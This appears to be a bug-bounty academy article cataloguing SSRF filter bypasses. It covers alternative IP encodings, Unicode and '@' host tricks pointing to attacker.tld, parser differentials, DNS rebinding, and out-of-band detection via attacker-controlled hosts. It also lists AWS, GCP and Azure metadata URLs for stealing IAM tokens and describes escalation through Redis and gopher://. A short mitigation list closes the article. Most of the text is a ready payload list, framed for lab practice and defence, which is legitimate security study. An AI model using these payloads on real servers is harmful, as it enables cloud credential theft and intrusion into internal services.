Advanced levelFree

SSRF — complete bypasses: localhost, IPv6, decimal, DNS and cloud metadata

11 techniques to bypass SSRF validation: enclosed alphanumeric, decimal IP, dot bypass, DNS rebinding, parameter pollution. Cloud metadata AWS/GCP/Azure.

Gorka El BochiMay 9, 202614 min

Quick answer

SSRF (Server-Side Request Forgery) forces the server to make requests to attacker-controlled URLs. A typical vector for accessing cloud metadata (169.254.169.254), internal services (admin panels, databases without auth) and sometimes RCE. Bypasses focus on evading URL/IP validation using alternative representations (decimal, octal, hex, IPv6), DNS tricks, parameter pollution and URL parsing differentials.


Localhost bypass payloads

Basic IPv4

arduino
http://127.0.0.1:80
http://127.0.0.1:443
http://127.1:80          (notación corta)
http://127.000000000000000.1
http://0
http://0.0.0.0:80
http://localhost:80

IPv6

arduino
http://[::]:80/
http://[::1]:80/
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/

CIDR bypass

scss
127.127.127.127     (cualquier IP 127.x.x.x)
127.0.1.3

If the filter only blocks 127.0.0.1, IPs at other positions of the 127.0.0.0/8 subnet are still localhost.

Dot bypass (Unicode)

perl
127001            (Unicode ideographic full stop)
127%E3%80%820%E3%80%820%E3%80%821

Decimal bypass

Every IPv4 IP can be interpreted as a single 32-bit integer:

arduino
http://2130706433/        = 127.0.0.1
http://3232235521/        = 192.168.0.1
http://3232235777/        = 192.168.1.1

Octal

arduino
http://0177.0000.0000.0001
http://017700000001

Hexadecimal

arduino
http://0x7f000001/
http://0xc0a80014/
http://0x7f.0x00.0x00.0x01

Enclosed alphanumeric Unicode

arduino
http://①②⑦.⓪.⓪.⓪
http://⑯⑨。②⑤④。⑯⑨。②⑤④/

Some parsers process it as a normal IP.

Mixed IPv4/IPv6

ini
0:0:0:0:0:FFFF:7F00:0001     = 127.0.0.1 mapped to IPv6

DNS to localhost

Public domains that resolve to internal IPs:

ini
localtest.me                                    = 127.0.0.1
127.0.0.1.nip.io                                = 127.0.0.1
spoofed.burpcollaborator.net                    = 127.0.0.1
1ynrnhl.xip.io                                  = 169.254.169.254

If the filter blacklists IPs but lets domains through → DNS lookup → allowed target IP.


Domain bypass for external targets

If the filter says "only URLs to target.tld are allowed":

Protocol manipulation

bash
https:attacker.tld
https:/attacker.tld
http:/\/\attacker.tld
//attacker.tld
\/\/attacker.tld/
/\/attacker.tld/
@attacker.tld
%0D%0A/attacker.tld
#attacker.tld

Encoded characters

perl
attacker%00.tld          (null byte)
attacker%E3%80%82tld     (Unicode dot)
attacker。tld
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ

Parameter injection

perl
https://target.tld@attacker.tld
https://target.tld.attacker.tld
https://target.tld%6D@attacker.tld     (m URL-encoded)
https://attacker.tld/target.tld
https://attacker.tld?d=target.tld
https://attacker.tld#target.tld
https://attacker.tld%23@target.tld
https://attacker.tld\@@target.tld
https://attacker.tld\anything@target.tld/

Parser differential (URL parsing differs between the lib that validates and the lib that makes the request)

perl
https://target.tld\.attacker.tld
https://target.tld/.attacker.tld
1.1.1.1 &@2.2.2.2# @3.3.3.3/

One library sees the host as target.tld and allows it. The library that makes the request parses it as attacker.tld.


Cloud metadata endpoints

AWS

ruby
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

IMDSv2 (token-based, more secure): requires a PUT to /latest/api/token first. If the SSRF only allows GET, IMDSv2 is protected.

Google Cloud (GCP)

Requires the Metadata-Flavor: Google header:

bash
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

If your SSRF lets you specify headers, perfect. If not, look for "proxy" endpoints in the app that add headers automatically.

Azure

ruby
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Required header: Metadata: true.

DigitalOcean / Alibaba / Oracle Cloud

ruby
http://169.254.169.254/metadata/v1/                    (DO)
http://100.100.100.200/latest/meta-data/               (Alibaba)
http://192.0.0.192/latest/meta-data/                   (Oracle)

All providers expose metadata on some "magic" IP. Worth trying all of them.


DNS rebinding

When the server resolves a domain once to validate and again for the actual request, there's a race window:

  • The attacker registers dns-rebind.attacker.tld with TTL=0.
  • The server resolves → IP1 (public, OK).
  • The server makes the request → IP2 (internal, the attacker changed the DNS).

Tools: rbndr.us, tbnrd.com, custom dnschef.


Blind SSRF detection

If the response exposes nothing, try OOB:

arduino
http://yourcollab.collab.tld/ssrf-test
http://burp-collab-id.oastify.com
http://attacker-controlled-dns.attacker.tld

Burp Collaborator logs HTTP/DNS hits → confirms SSRF even if the output isn't visible.


Endpoints where to look for SSRF

  • URL fetch features: webhooks, profile picture URL, OG preview, link unfurling, RSS reader, SVG render, screenshot service.
  • Import / export: import URL JSON, scan URL for malware, fetch terms.
  • Conversion services: HTML→PDF, URL→screenshot, URL→QR, URL→audio.
  • OAuth callback proxies: if the server looks up the provider config.
  • PDF generators: wkhtmltopdf, headless Chrome — fetch client HTML → embed into PDF.
  • Email features: inline images from a URL, link verification.
  • CSV import with cells containing URLs interpreted as hyperlinks.

SSRF escalation

Once confirmed:

  1. Cloud metadata → AWS/GCP/Azure credentials.
  2. Internal services: Redis (redis://localhost:6379/CONFIG SET), Memcached, ElasticSearch (/_cluster/state), Kibana, Jenkins, Consul, etcd.
  3. gopher:// scheme to send raw bytes to TCP — SMTP protocol, Redis with writing.
  4. Internal admin panels that trust requests from the server itself.
  5. Internal port scanning: what services run on 127.0.0.1:*?

Hunting checklist

  • Are there features that accept URLs (webhooks, imports, screenshots)?
  • Does the filter block only 127.0.0.1 or normalize all representations?
  • Does it accept IPv6, decimal, hex, Unicode dots?
  • Does it accept @ injection in the host?
  • Can custom headers be injected (for GCP/Azure metadata)?
  • Is DNS rebinding possible?
  • Try Burp Collaborator for blind SSRF?
  • Try gopher://, dict://, file://?
  • Do the endpoints return part of the response? (full visible SSRF vs blind).

Correct mitigation

  1. Domain whitelist (not blacklist). Resolve and verify the final IP.
  2. Block private ranges: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, IPv6 equivalents.
  3. Resolve DNS ONCE and use the resulting IP (kills DNS rebinding).
  4. Mandatory IMDSv2 on AWS.
  5. Egress firewall from the container/VM that only allows outbound to legitimate IPs/ports.

Practice the 11 SSRF bypasses + cloud metadata extraction: SSRF labs.

Practice this in a lab

Ssrf

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy